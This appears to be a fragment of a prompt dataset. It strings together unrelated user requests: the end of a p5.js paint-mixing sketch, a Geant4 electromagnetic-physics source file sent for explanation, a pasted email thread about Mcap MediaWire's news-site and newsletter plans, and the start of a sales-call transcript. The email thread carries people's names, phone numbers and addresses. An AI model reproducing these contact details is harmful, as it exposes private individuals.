place, spread it around\nfunction updater() {\n for (let x = 0; x < width; x++) {\n for (let y = 0; y < height; y++) {\n let arrayPos = (x + y \\* width) \\* 4;\n \n // mix pixel to right\n if (paint[arrayPos + 3] > 4) {\n tempPaint1[arrayPos + 3] = paint[arrayPos + 3] - 4;\n tempPaint1[arrayPos + 4] = (paint[arrayPos + 4] + paint[arrayPos]) / 2;\n tempPaint1[arrayPos + 5] =\n (paint[arrayPos + 5] + paint[arrayPos + 1]) / 2;\n tempPaint1[arrayPos + 6] =\n (paint[arrayPos + 6] + paint[arrayPos + 2]) / 2;\n tempPaint1[arrayPos + 7] = paint[arrayPos + 7] + 1;\n\n // mix pixel to left\n tempPaint1[arrayPos - 4] = (paint[arrayPos - 4] + paint[arrayPos]) / 2;\n tempPaint1[arrayPos - 3] =\n (paint[arrayPos - 3] + paint[arrayPos + 1]) / 2;\n tempPaint1[arrayPos - 2] =\n (paint[arrayPos - 2] + paint[arrayPos + 2]) / 2;\n tempPaint1[arrayPos - 1] = paint[arrayPos - 1] + 1;\n\n // mix pixel above\n tempPaint1[arrayPos - width \\* 4] =\n (paint[arrayPos - width \\* 4] + paint[arrayPos]) / 2;\n tempPaint1[arrayPos - width \\* 4 + 1] =\n (paint[arrayPos - width \\* 4 + 1] + paint[arrayPos + 1]) / 2;\n tempPaint1[arrayPos - width \\* 4 + 2] =\n (paint[arrayPos - width \\* 4 + 2] + paint[arrayPos + 2]) / 2;\n tempPaint1[arrayPos - width \\* 4 + 3] =\n paint[arrayPos - width \\* 4 + 3] + 1;\n\n // mix pixel below\n tempPaint1[arrayPos + width \\* 4] =\n (paint[arrayPos + width \\* 4] + paint[arrayPos]) / 2;\n tempPaint1[arrayPos + width \\* 4 + 1] =\n (paint[arrayPos + width \\* 4 + 1] + paint[arrayPos + 1]) / 2;\n tempPaint1[arrayPos + width \\* 4 + 2] =\n (paint[arrayPos + width \\* 4 + 2] + paint[arrayPos + 2]) / 2;\n tempPaint1[arrayPos + width \\* 4 + 3] =\n paint[arrayPos + width \\* 4 + 3] + 1;\n }\n // gradually dry paint\n if (paint[arrayPos + 3] > dryTime) {\n tempPaint1[arrayPos + 3] = paint[arrayPos + 3] - dryTime;\n }\n }\n }\n if (runnyColors == true){\n paint = tempPaint1;\n }\n else {\n for (let x = width; x > 0; x--) {\n for (let y = height; y > 0; y--) {\n let arrayPos = (x + y \\* width) \\* 4;\n \n // mix pixel to right\n if (paint[arrayPos + 3] > 4) {\n tempPaint2[arrayPos + 3] = paint[arrayPos + 3] - 4;\n tempPaint2[arrayPos + 4] = (paint[arrayPos + 4] + paint[arrayPos]) / 2;\n tempPaint2[arrayPos + 5] =\n (paint[arrayPos + 5] + paint[arrayPos + 1]) / 2;\n tempPaint2[arrayPos + 6] =\n (paint[arrayPos + 6] + paint[arrayPos + 2]) / 2;\n tempPaint2[arrayPos + 7] = paint[arrayPos + 7] + 1;\n\n // mix pixel to left\n tempPaint2[arrayPos - 4] = (paint[arrayPos - 4] + paint[arrayPos]) / 2;\n tempPaint2[arrayPos - 3] =\n (paint[arrayPos - 3] + paint[arrayPos + 1]) / 2;\n tempPaint2[arrayPos - 2] =\n (paint[arrayPos - 2] + paint[arrayPos + 2]) / 2;\n tempPaint2[arrayPos - 1] = paint[arrayPos - 1] + 1;\n\n // mix pixel above\n tempPaint2[arrayPos - width \\* 4] =\n (paint[arrayPos - width \\* 4] + paint[arrayPos]) / 2;\n tempPaint2[arrayPos - width \\* 4 + 1] =\n (paint[arrayPos - width \\* 4 + 1] + paint[arrayPos + 1]) / 2;\n tempPaint2[arrayPos - width \\* 4 + 2] =\n (paint[arrayPos - width \\* 4 + 2] + paint[arrayPos + 2]) / 2;\n tempPaint2[arrayPos - width \\* 4 + 3] =\n paint[arrayPos - width \\* 4 + 3] + 1;\n\n // mix pixel below\n tempPaint2[arrayPos + width \\* 4] =\n (paint[arrayPos + width \\* 4] + paint[arrayPos]) / 2;\n tempPaint2[arrayPos + width \\* 4 + 1] =\n (paint[arrayPos + width \\* 4 + 1] + paint[arrayPos + 1]) / 2;\n tempPaint2[arrayPos + width \\* 4 + 2] =\n (paint[arrayPos + width \\* 4 + 2] + paint[arrayPos + 2]) / 2;\n tempPaint2[arrayPos + width \\* 4 + 3] =\n paint[arrayPos + width \\* 4 + 3] + 1;\n }\n // gradually dry paint\n if (paint[arrayPos + 3] > dryTime) {\n tempPaint2[arrayPos + 3] = paint[arrayPos + 3] - dryTime;\n }\n }\n }\n for (let x = 0; x < width; x++) {\n for (let y = 0; y < height; y++) {\n let arrayPos = (x + y \\* width) \\* 4;\n paint[arrayPos] = (tempPaint1[arrayPos] + tempPaint2[arrayPos]) / 2;\n }\n } \n}\n}\n\n // render all pixels\nfunction render() {\n loadPixels();\n for (let x = 0; x < width; x++) {\n for (let y = 0; y < height; y++) {\n let pix = (x + y \\* width) \\* 4;\n let arrayPos = (x + y \\* width) \\* 4;\n pixels[pix] = paint[arrayPos];\n pixels[pix + 1] = paint[arrayPos + 1];\n pixels[pix + 2] = paint[arrayPos + 2];\n }\n }\n updatePixels();\n}" +'can you tell me all the physics involved in this class (G4EmStandardPhysics\\_option3):\n\n//\n// \\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n// \\* License and Disclaimer \\*\n// \\* \\*\n// \\* The Geant4 software is copyright of the Copyright Holders of \\*\n// \\* the Geant4 Collaboration. It is provided under the terms and \\*\n// \\* conditions of the Geant4 Software License, included in the file \\*\n// \\* LICENSE and available at http://cern.ch/geant4/license . These \\*\n// \\* include a list of copyright holders. \\*\n// \\* \\*\n// \\* Neither the authors of this software system, nor their employing \\*\n// \\* institutes,nor the agencies providing financial support for this \\*\n// \\* work make any representation or warranty, express or implied, \\*\n// \\* regarding this software system or assume any liability for its \\*\n// \\* use. Please see the license in the file LICENSE and URL above \\*\n// \\* for the full disclaimer and the limitation of liability. \\*\n// \\* \\*\n// \\* This code implementation is the result of the scientific and \\*\n// \\* technical work of the GEANT4 collaboration. \\*\n// \\* By using, copying, modifying or distributing the software (or \\*\n// \\* any work based on the software) you agree to acknowledge its \\*\n// \\* use in resulting scientific publications, and indicate your \\*\n// \\* acceptance of all terms of the Geant4 Software license. \\*\n// \\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n//\n//\n//---------------------------------------------------------------------------\n//\n// ClassName: G4EmStandardPhysics\\_option3\n//\n// Author: V.Ivanchenko 13.03.2008\n//\n// Modified:\n// 21.04.2008 V.Ivanchenko add long-lived D and B mesons; use spline\n// 28.05.2008 V.Ivanchenko linLossLimit=0.01 for ions 0.001 for others\n//\n//----------------------------------------------------------------------------\n//\n\n#include "G4EmStandardPhysics\\_option3.hh"\n\n#include "G4SystemOfUnits.hh"\n#include "G4ParticleDefinition.hh"\n#include "G4LossTableManager.hh"\n#include "G4EmParameters.hh"\n#include "G4EmBuilder.hh"\n\n#include "G4ComptonScattering.hh"\n#include "G4GammaConversion.hh"\n#include "G4PhotoElectricEffect.hh"\n#include "G4RayleighScattering.hh"\n#include "G4PEEffectFluoModel.hh"\n#include "G4KleinNishinaModel.hh"\n#include "G4LivermorePhotoElectricModel.hh"\n#include "G4LivermorePolarizedRayleighModel.hh"\n#include "G4PhotoElectricAngularGeneratorPolarized.hh"\n#include "G4BetheHeitler5DModel.hh"\n\n#include "G4eMultipleScattering.hh"\n#include "G4hMultipleScattering.hh"\n#include "G4MscStepLimitType.hh"\n#include "G4UrbanMscModel.hh"\n#include "G4DummyModel.hh"\n#include "G4WentzelVIModel.hh"\n#include "G4CoulombScattering.hh"\n\n#include "G4eIonisation.hh"\n#include "G4eBremsstrahlung.hh"\n#include "G4Generator2BS.hh"\n#include "G4SeltzerBergerModel.hh"\n\n#include "G4eplusAnnihilation.hh"\n#include "G4UAtomicDeexcitation.hh"\n\n#include "G4ePairProduction.hh"\n#include "G4ionIonisation.hh"\n#include "G4IonParametrisedLossModel.hh"\n#include "G4LindhardSorensenIonModel.hh"\n#include "G4IonFluctuations.hh"\n#include "G4NuclearStopping.hh"\n\n#include "G4ParticleTable.hh"\n#include "G4Gamma.hh"\n#include "G4Electron.hh"\n#include "G4Positron.hh"\n#include "G4GenericIon.hh"\n\n#include "G4PhysicsListHelper.hh"\n#include "G4BuilderType.hh"\n#include "G4EmModelActivator.hh"\n#include "G4GammaGeneralProcess.hh"\n\n// factory\n#include "G4PhysicsConstructorFactory.hh"\n//\nG4\\_DECLARE\\_PHYSCONSTR\\_FACTORY(G4EmStandardPhysics\\_option3);\n\n//....oooOO0OOooo........oooOO0OOooo........oooOO0OOooo........oooOO0OOooo......\n\nG4EmStandardPhysics\\_option3::G4EmStandardPhysics\\_option3(G4int ver, \n const G4String&)\n : G4VPhysicsConstructor("G4EmStandard\\_opt3")\n{\n SetVerboseLevel(ver);\n G4EmParameters\\* param = G4EmParameters::Instance();\n param->SetDefaults();\n param->SetVerbose(ver);\n param->SetGeneralProcessActive(true);\n param->SetMinEnergy(10\\*CLHEP::eV);\n param->SetLowestElectronEnergy(100\\*CLHEP::eV);\n param->SetNumberOfBinsPerDecade(20);\n param->ActivateAngularGeneratorForIonisation(true);\n param->SetUseMottCorrection(true); \n param->SetStepFunction(0.2, 100\\*CLHEP::um);\n param->SetStepFunctionMuHad(0.2, 50\\*CLHEP::um);\n param->SetStepFunctionLightIons(0.1, 20\\*CLHEP::um);\n param->SetStepFunctionIons(0.1, 1\\*CLHEP::um);\n param->SetMscStepLimitType(fUseSafetyPlus);\n param->SetMscRangeFactor(0.03);\n param->SetMuHadLateralDisplacement(true);\n param->SetLateralDisplacementAlg96(true);\n param->SetUseICRU90Data(true);\n param->SetFluctuationType(fUrbanFluctuation);\n param->SetFluo(true);\n param->SetMaxNIELEnergy(1\\*CLHEP::MeV);\n SetPhysicsType(bElectromagnetic);\n}\n\n//....oooOO0OOooo........oooOO0OOooo........oooOO0OOooo........oooOO0OOooo......\n\nG4EmStandardPhysics\\_option3::~G4EmStandardPhysics\\_option3()\n{}\n\n//....oooOO0OOooo........oooOO0OOooo........oooOO0OOooo........oooOO0OOooo......\n\nvoid G4EmStandardPhysics\\_option3::ConstructParticle()\n{\n // minimal set of particles for EM physics\n G4EmBuilder::ConstructMinimalEmSet();\n}\n\n//....oooOO0OOooo........oooOO0OOooo........oooOO0OOooo........oooOO0OOooo......\n\nvoid G4EmStandardPhysics\\_option3::ConstructProcess()\n{\n if(verboseLevel > 1) {\n G4cout << "### " << GetPhysicsName() << " Construct Processes " << G4endl;\n }\n G4EmBuilder::PrepareEMPhysics();\n\n G4PhysicsListHelper\\* ph = G4PhysicsListHelper::GetPhysicsListHelper();\n G4EmParameters\\* param = G4EmParameters::Instance();\n\n // processes used by several particles\n G4hMultipleScattering\\* hmsc = new G4hMultipleScattering("ionmsc");\n\n // nuclear stopping is enabled if th eenergy limit above zero\n G4double nielEnergyLimit = param->MaxNIELEnergy();\n G4NuclearStopping\\* pnuc = nullptr;\n if(nielEnergyLimit > 0.0) {\n pnuc = new G4NuclearStopping();\n pnuc->SetMaxKinEnergy(nielEnergyLimit);\n }\n\n // Add gamma EM Processes\n G4ParticleDefinition\\* particle = G4Gamma::Gamma();\n\n G4PhotoElectricEffect\\* pe = new G4PhotoElectricEffect();\n G4VEmModel\\* peModel = new G4LivermorePhotoElectricModel();\n pe->SetEmModel(peModel);\n if(param->EnablePolarisation()) {\n peModel->SetAngularDistribution(new G4PhotoElectricAngularGeneratorPolarized());\n }\n\n G4ComptonScattering\\* cs = new G4ComptonScattering();\n cs->SetEmModel(new G4KleinNishinaModel());\n\n G4GammaConversion\\* gc = new G4GammaConversion();\n if(param->EnablePolarisation()) {\n gc->SetEmModel(new G4BetheHeitler5DModel());\n }\n\n G4RayleighScattering\\* rl = new G4RayleighScattering();\n if(param->EnablePolarisation()) {\n rl->SetEmModel(new G4LivermorePolarizedRayleighModel());\n }\n\n if(G4EmParameters::Instance()->GeneralProcessActive()) {\n G4GammaGeneralProcess\\* sp = new G4GammaGeneralProcess();\n sp->AddEmProcess(pe);\n sp->AddEmProcess(cs);\n sp->AddEmProcess(gc);\n sp->AddEmProcess(rl);\n G4LossTableManager::Instance()->SetGammaGeneralProcess(sp);\n ph->RegisterProcess(sp, particle);\n } else {\n ph->RegisterProcess(pe, particle);\n ph->RegisterProcess(cs, particle);\n ph->RegisterProcess(gc, particle);\n ph->RegisterProcess(rl, particle);\n }\n\n // e-\n particle = G4Electron::Electron();\n \n G4UrbanMscModel\\* msc1 = new G4UrbanMscModel();\n G4EmBuilder::ConstructElectronMscProcess(msc1, nullptr, particle);\n\n G4eIonisation\\* eIoni = new G4eIonisation();\n\n G4eBremsstrahlung\\* brem = new G4eBremsstrahlung();\n G4SeltzerBergerModel\\* br1 = new G4SeltzerBergerModel();\n G4eBremsstrahlungRelModel\\* br2 = new G4eBremsstrahlungRelModel();\n br1->SetAngularDistribution(new G4Generator2BS());\n br2->SetAngularDistribution(new G4Generator2BS());\n brem->SetEmModel(br1);\n brem->SetEmModel(br2);\n br2->SetLowEnergyLimit(CLHEP::GeV);\n\n G4ePairProduction\\* ee = new G4ePairProduction();\n\n ph->RegisterProcess(eIoni, particle);\n ph->RegisterProcess(brem, particle);\n ph->RegisterProcess(ee, particle);\n\n // e+\n particle = G4Positron::Positron();\n \n msc1 = new G4UrbanMscModel();\n G4EmBuilder::ConstructElectronMscProcess(msc1, nullptr, particle);\n\n eIoni = new G4eIonisation();\n\n brem = new G4eBremsstrahlung();\n br1 = new G4SeltzerBergerModel();\n br2 = new G4eBremsstrahlungRelModel();\n br1->SetAngularDistribution(new G4Generator2BS());\n br2->SetAngularDistribution(new G4Generator2BS());\n brem->SetEmModel(br1);\n brem->SetEmModel(br2);\n br2->SetLowEnergyLimit(CLHEP::GeV);\n\n ph->RegisterProcess(eIoni, particle);\n ph->RegisterProcess(brem, particle);\n ph->RegisterProcess(ee, particle);\n ph->RegisterProcess(new G4eplusAnnihilation(), particle);\n\n // generic ion\n particle = G4GenericIon::GenericIon();\n G4ionIonisation\\* ionIoni = new G4ionIonisation();\n auto fluc = new G4IonFluctuations();\n ionIoni->SetFluctModel(fluc);\n ionIoni->SetEmModel(new G4LindhardSorensenIonModel());\n ph->RegisterProcess(hmsc, particle);\n ph->RegisterProcess(ionIoni, particle);\n if(nullptr != pnuc) { ph->RegisterProcess(pnuc, particle); }\n\n // muons, hadrons, ions\n G4EmBuilder::ConstructCharged(hmsc, pnuc, false);\n\n // extra configuration\n G4EmModelActivator mact(GetPhysicsName());\n}\n\n//....oooOO0OOooo........oooOO0OOooo........oooOO0OOooo........oooOO0OOooo......' +"Mcap MediaWire\n \nTue, Feb 28, 1:03\u202fPM (2 days ago)\n \nto me, Erwin, Mark\n\nJeff:\n\n \n\nGREAT NEWS!!! \n\n \n\nAs you know, my principal working load is the daily operation and tech side. \n\n \n\nI believe I can develop a great Networking Project but asking you for helping hands in creating the presentation. \n\n \n\nLet me explain: \n\n \n\nProject: Increasing of Mcap Network Endpoints together with a Monetization Option. \n\n \n\nProject A: \n\n \n\nName: THE MICRO CAP OBSERVER – Weekly Newsletter for public listed Micro Cap Corporation \n\n \n\nInitial Cost: Domain Name reservation, Host and one or two business emails, Phone Number \n\nPlanned dominion name: http://themicrocapobserver.com/ \n\nPlanned Logo: \n\n \nMonthly cost: USD 150.00 (1 Site) down to USD 125.00 (Bulk Sites) for Software License \n\n \n\nMonetization: Banner/Advertisements sold by Mcap, Google Ads, and other third-party Ad Sellers \n\n \n\nProject B: \n\n \n\nName: Bulk WordPress News Sites (5 sites for every 30 days, 20 sites for the next 120 days, 60 sites for the next 12 months. \n\nInitial Cost: Domain Name reservations, Host and one or two business emails, Phone Number \n\nPlanned principal dominion name: http://www.mcapmediagroup.com/ \n\nExample: Affinity Group Publishing - A Global Publishing Network \n\nSub dominion name for each site (Example:) http://www.mcapmediagroup.com/technews (technews is only an example) \n\nSite Example: 24/7 Business Reporter (247businessreporter.com) \n\n \n\nAll sites will be having the same Template but different Logos and Colors. \n\n \n\nThis is a simple Import/export of steady RSS FEED Content starting first with Mcap but also offering this option as BULK for Content delivery provided from third-party Wire Services or Marketing/IR Firms. \n\nAll sites are planned to be created to accept Multimedia Content as we actually deliver with RSS FEED to ARGUS Journal with Social Media Share Gadget. \n\n \n\nThe bulk Price per site development will be USD 250.00 (including initial integration of RSS FEED Import/Export with 5 minutes updates). If we agree on 5 Sites monthly for the next 12 months, I could get us the price down to $225.00 per site. This included Website Development and Creation. We may have additional Host Fees, but smaller than 300 to 400 USD monthly and for all sites. \n\n \n\nAny additional cost in need from the Web developer would be $15.00/Hour. \n\n \n\nMonetization: Banner/Advertisements sold by Mcap, Google Ads, and other third-party Ad Sellers \n\n \n\nProject C: \n\n \n\nClosing Network Partnership with COMTEXT to Increase Syndication of our RSS FEED. Based on a first calculation, the cost per Submission would be around $26.00 and include important Syndicate Endpoints where COMTEX is exclusive. \n\n \n\nRegards,\n\n \n\nThomas Wolff\n\nCOO\n\n \n\n \n\n(707) 682-9473\n\n \n\ncs@mcapmedia.com\n\ntw@mcapmedia.com\n\nhttps://www.mcapmediawire.com\n\n@McapMediaWire | Linktree\n\n \n\nFollow Mcap MediaWire : Instagram Twitter Facebook LinkedIn Youtube\n\n \n\nDISCLAIMER: CONFIDENTIALITY NOTICE TO RECIPIENT\n\nThis email (including attachments) is covered by the Electronic Communications Privacy Act, 18 U.S.C. §§ 2510-2521, is confidential and may be legally privileged. If you are not the intended recipient, you are hereby notified that any retention, dissemination, distribution or copying of this communication is strictly prohibited. If you have received this message in error, please notify the sender, and delete it immediately.\n\n \n\n \nDe: Jeff Palumbo \nEnviado: Tuesday, February 28, 2023 10:43:52 AM\nPara: Erwin Pena ; Mcap MediaWire ; Mark Newbauer \nAsunto: Capital\n \nLooks like we have agreed to terms for a possible closing next week for the capital in MCAP and MCAP will be public. This deal is an loi and not contracted or closed. However the terms are currently agreed to by both parties. \n\nTo this end, I would like to put together an action plan for the first 30 and the next 120 days. I would like to know from you anything that you think should be included in that plan or things you need to have addressed during that period for you to be more successful.\n\nPlease include anything you feel is important and needs to be accounted for and acted upon for your job and for the company overall. Any high level details you can provide on each item is appreciated, please include soft or hard costs if you know them. \n\nExiting new chapter for us ahead. \n\nJeff Palumbo \n...\n\n[Message clipped] View entire message\nMcap MediaWire\n \nAttachmentsTue, Feb 28, 1:58\u202fPM (2 days ago)\n \nto me, Erwin, Mark\n\nJeff: \n\n \n\nPlease see attached the potential sales volume for the planned weekly/monthly Newsletter \n\n \n\nTo be honest. This is copied from another Rate Offer. Of course, Fee rates can be changed or text can be deleted or added. \n\n \n\nI want only to show the potential of selling Advertisement Space. \n\n \n\nWe have around 200 registered Clients in the publicly listed Micro Cap Space, and almost all on OTC. There is also a huge Market Niche called NASDAQ and NYSE Nano and Micro Caps.\n\n \n\nI have a planned Conference with the Software Licenser to discuss the potential Adverdicement Spaces available. This is more a tech talk and not closing of Cooperation.\n\n \n\nRegards, \n\n...\n\n[Message clipped] View entire message\n One attachment • Scanned by Gmail\nJeff Palumbo \n \nAttachmentsTue, Feb 28, 2:54\u202fPM (2 days ago)\n \nto Mcap, Erwin, Mark\nWe are going to be launching dozens of new destination vertical news websites. Hope you have ideas on how to monetize that. Let me know your thoughts.. \n 4 Attachments • Scanned by Gmail\nMcap MediaWire\n \nTue, Feb 28, 3:04\u202fPM (2 days ago)\n \nto me, Mcap, Erwin\nAbsolutely-- enhanced dissemination add-ons, company ads/banners for sale, I'll put together some ideas we've discussed in the past\nBest, \n\nMark B. Newbauer\nPresident/Founder\nFollow Mcap MediaWire : Instagram Twitter Facebook LinkedIn Youtube\n\n \n\nDISCLAIMER: CONFIDENTIALITY NOTICE TO RECIPIENT\n\nThis email (including attachments) is covered by the Electronic Communications Privacy Act, 18 U.S.C. §§ 2510-2521, is confidential and may be legally privileged. If you are not the intended recipient, you are hereby notified that any retention, dissemination, distribution or copying of this communication is strictly prohibited. If you have received this message in error, please notify the sender, and delete it immediately.\nMcap MediaWire\n \nTue, Feb 28, 3:05\u202fPM (2 days ago)\n \nto me, Erwin, Mark\n\nJeff:\n\n \n\nThe idea is selling Ad spaces to our clients. The Weekly planned News Letter will included OTC Pinks, OTCQB, NASDAG and NYSE Section with around 10 to 20 subcats per Category.\n\n \n\nThere will be always the option to get Google Ads on the site with signed of a Referal Program with the Software Group who in fact has more tan 100 online and printed Newsletter on their Server.\n\n \n\nFYI: the License fee for the Weekly planned Newsletter will be 150 monthly down to 125 if we purchase 5+ Licenses.\n\n \n\nThis are the Example Sites\n\n \n\nhttps://www.miningnewsnorth.com/ (look Ads on the right part)\n\nhttps://www.metaltechnews.com/ (look Ads on the right site)\n\n \n\nSame Software License. Cost for both Site = $250 monthly (as this is a Group who working with 5+ Lincenses/News Sites)\n\n \n\nBest regards,\n...\n\n[Message clipped] View entire message\nMcap MediaWire\n \nAttachmentsTue, Feb 28, 3:05\u202fPM (2 days ago)\n \nto Mark, me, Erwin\n\nMark:\n\n \n\nSome ideas attached\n\n \n\nBest regards,\n\n \n\nThomas Wolff\n\nCOO\n\n \n\n \n\n(707) 682-9473\n\n \n\ncs@mcapmedia.com\n\ntw@mcapmedia.com\n\nhttps://www.mcapmediawire.com\n\n@McapMediaWire | Linktree\n\n \n\nFollow Mcap MediaWire : Instagram Twitter Facebook LinkedIn Youtube\n\n \n\nDISCLAIMER: CONFIDENTIALITY NOTICE TO RECIPIENT\n\nThis email (including attachments) is covered by the Electronic Communications Privacy Act, 18 U.S.C. §§ 2510-2521, is confidential and may be legally privileged. If you are not the intended recipient, you are hereby notified that any retention, dissemination, distribution or copying of this communication is strictly prohibited. If you have received this message in error, please notify the sender, and delete it immediately.\n\n \n\nDe: Mark Newbauer\nEnviado: martes, 28 de febrero de 2023 02:04 p. m.\nPara: Jeff Palumbo\nCC: Mcap MediaWire; Erwin Pena\nAsunto: Re: Thomas - Project\n\n \n\nAbsolutely-- enhanced dissemination add-ons, company ads/banners for sale, I'll put together some ideas we've discussed in the past\n\n \n\n \n\nBest, \n\n \n\nMark B. Newbauer\n\nPresident/Founder\n\n \n\nFollow Mcap MediaWire : Instagram Twitter Facebook LinkedIn Youtube\n\n \n\nDISCLAIMER: CONFIDENTIALITY NOTICE TO RECIPIENT\n\nThis email (including attachments) is covered by the Electronic Communications Privacy Act, 18 U.S.C. §§ 2510-2521, is confidential and may be legally privileged. If you are not the intended recipient, you are hereby notified that any retention, dissemination, distribution or copying of this communication is strictly prohibited. If you have received this message in error, please notify the sender, and delete it immediately.\n\n \n\n \n\n \n\nOn Tue, Feb 28, 2023 at 12:54\u202fPM Jeff Palumbo wrote:\n\n We are going to be launching dozens of new destination vertical news websites. Hope you have ideas on how to monetize that. Let me know your thoughts.. \n\n \n\n On Tue, Feb 28, 2023, 1:58 PM Mcap MediaWire wrote:\n\n Jeff: \n\n \n\n Please see attached the potential sales volume for the planned weekly/monthly Newsletter \n\n \n\n To be honest. This is copied from another Rate Offer. Of course, Fee rates can be changed or text can be deleted or added. \n\n \n\n I want only to show the potential of selling Advertisement Space. \n\n \n\n We have around 200 registered Clients in the publicly listed Micro Cap Space, and almost all on OTC. There is also a huge Market Niche called NASDAQ and NYSE Nano and Micro Caps.\n\n \n\n I have a planned Conference with the Software Licenser to discuss the potential Adverdicement Spaces available. This is more a tech talk and not closing of Cooperation.\n\n \n\n Regards, \n\n Thomas Wolff\n\n COO\n\n \n\n \n\n (707) 682-9473\n\n \n\n cs@mcapmedia.com\n\n tw@mcapmedia.com\n\n https://www.mcapmediawire.com\n\n @McapMediaWire | Linktree\n\n \n\n Follow Mcap MediaWire : Instagram Twitter Facebook LinkedIn Youtube\n\n \n\n DISCLAIMER: CONFIDENTIALITY NOTICE TO RECIPIENT\n\n This email (including attachments) is covered by the Electronic Communications Privacy Act, 18 U.S.C. §§ 2510-2521, is confidential and may be legally privileged. If you are not the intended recipient, you are hereby notified that any retention, dissemination, distribution or copying of this communication is strictly prohibited. If you have received this message in error, please notify the sender, and delete it immediately.\n\n \n\n \n\n De: Mcap MediaWire\n Enviado: martes, 28 de febrero de 2023 12:03 p. m.\n Para: Jeff Palumbo; Erwin Pena; Mark Newbauer\n Asunto: Thomas - Project\n\n \n\n Jeff:\n\n \n\n GREAT NEWS!!! \n\n \n\n As you know, my principal working load is the daily operation and tech side. \n\n \n\n I believe I can develop a great Networking Project but asking you for helping hands in creating the presentation. \n\n \n\n Let me explain: \n\n \n\n Project: Increasing of Mcap Network Endpoints together with a Monetization Option. \n\n \n\n Project A: \n\n \n\n Name: THE MICRO CAP OBSERVER – Weekly Newsletter for public listed Micro Cap Corporation \n\n \n\n Initial Cost: Domain Name reservation, Host and one or two business emails, Phone Number \n\n Planned dominion name: http://themicrocapobserver.com/ \n\n Planned Logo: \n\n \n Monthly cost: USD 150.00 (1 Site) down to USD 125.00 (Bulk Sites) for Software License \n\n \n\n Monetization: Banner/Advertisements sold by Mcap, Google Ads, and other third-party Ad Sellers \n\n \n\n Project B: \n\n \n\n Name: Bulk WordPress News Sites (5 sites for every 30 days, 20 sites for the next 120 days, 60 sites for the next 12 months. \n\n Initial Cost: Domain Name reservations, Host and one or two business emails, Phone Number \n\n Planned principal dominion name: http://www.mcapmediagroup.com/ \n\n Example: Affinity Group Publishing - A Global Publishing Network \n\n Sub dominion name for each site (Example:) http://www.mcapmediagroup.com/technews (technews is only an example) \n\n Site Example: 24/7 Business Reporter (247businessreporter.com) \n\n \n\n All sites will be having the same Template but different Logos and Colors. \n\n \n\n This is a simple Import/export of steady RSS FEED Content starting first with Mcap but also offering this option as BULK for Content delivery provided from third-party Wire Services or Marketing/IR Firms. \n\n All sites are planned to be created to accept Multimedia Content as we actually deliver with RSS FEED to ARGUS Journal with Social Media Share Gadget. \n\n \n\n The bulk Price per site development will be USD 250.00 (including initial integration of RSS FEED Import/Export with 5 minutes updates). If we agree on 5 Sites monthly for the next 12 months, I could get us the price down to $225.00 per site. This included Website Development and Creation. We may have additional Host Fees, but smaller than 300 to 400 USD monthly and for all sites. \n\n \n\n Any additional cost in need from the Web developer would be $15.00/Hour. \n\n \n\n Monetization: Banner/Advertisements sold by Mcap, Google Ads, and other third-party Ad Sellers \n\n \n\n Project C: \n\n \n\n Closing Network Partnership with COMTEXT to Increase Syndication of our RSS FEED. Based on a first calculation, the cost per Submission would be around $26.00 and include important Syndicate Endpoints where COMTEX is exclusive. \n\n \n\n Regards,\n\n \n\n Thomas Wolff\n\n COO\n\n \n\n \n\n (707) 682-9473\n\n \n\n cs@mcapmedia.com\n\n tw@mcapmedia.com\n\n https://www.mcapmediawire.com\n\n @McapMediaWire | Linktree\n\n \n\n Follow Mcap MediaWire : Instagram Twitter Facebook LinkedIn Youtube\n\n \n\n DISCLAIMER: CONFIDENTIALITY NOTICE TO RECIPIENT\n\n This email (including attachments) is covered by the Electronic Communications Privacy Act, 18 U.S.C. §§ 2510-2521, is confidential and may be legally privileged. If you are not the intended recipient, you are hereby notified that any retention, dissemination, distribution or copying of this communication is strictly prohibited. If you have received this message in error, please notify the sender, and delete it immediately.\n\n \n\n \n\n De: Jeff Palumbo \n Enviado: Tuesday, February 28, 2023 10:43:52 AM\n Para: Erwin Pena ; Mcap MediaWire ; Mark Newbauer \n Asunto: Capital\n\n \n\n \n\n \n One attachment • Scanned by Gmail" +'This is the first 15 mins of a sales call: "> Stephen Donohoe 00:00\nHave you been lazy? Did you have a nice weekend.\n> \n\n> Lizy Thomson 00:03\nStill recovering from the flu. We\'ve got flu brains here. All of us. Dealing with the weather change. And there\'s the influenza going around. And just not recovering too quickly from it so.\n> \n\n> Stephen Donohoe 00:19\nGoing to keep my camera off again. Stephen sorry.\n> \n\n> Lizy Thomson 00:22\nI was thinking this one. You said maybe today I\'ll do better and turn my camera on. But feeling like ships. Sorry.\n> \n\n> Curt Weaver 00:29\nNo, that\'s quite our ice. And don\'t worry about it.\n> \n\n> Stephen Donohoe 00:32\nAre you starting to improve it all? Or is it kind of hanging around.\n> \n\n> Lizy Thomson 00:37\nSo the minute I stock a few battle. You know. My kids, then get it. And then they give it back to me. And then we\'re just kind of. Reinfecting each other quite conveniently. Here. Recovering for a bit and then getting. Sick again. So it\'s been a bit weird because here, like we spoke the last time. Stephen is getting warmer.\n> \n\n> Stephen Donohoe 01:07\nAnd then we have a bit of sandstones that comes in from Saudi.\n> \n\n> Lizy Thomson 01:11\nAnd normally when those samsungs come and everyone\'s going down. With. Virals in Dubai. So that\'s the situation hereby.\n> \n\n> Stephen Donohoe 01:21\nYeah. Okay. And the dance trials, they can just come out of nowhere, can\'t they.\n> \n\n> Lizy Thomson 01:26\nOut of nowhere take over the entire city. Reduce visibility people with asthma Dust allergies. They just get so unwell normal people as well, because it comes to the acs. So even if we\'re in those and we think we\'re safe because it\'s like the fine dust it comes through the AC, the AC ventilation, and then.\n> \n\n> Stephen Donohoe 01:50\nYeah? There\'s no escape? No escape.\n> \n\n> Lizy Thomson 01:54\nHopefully you start to get on the mend.\n> \n\n> Stephen Donohoe 01:56\nAnd soon enough I know 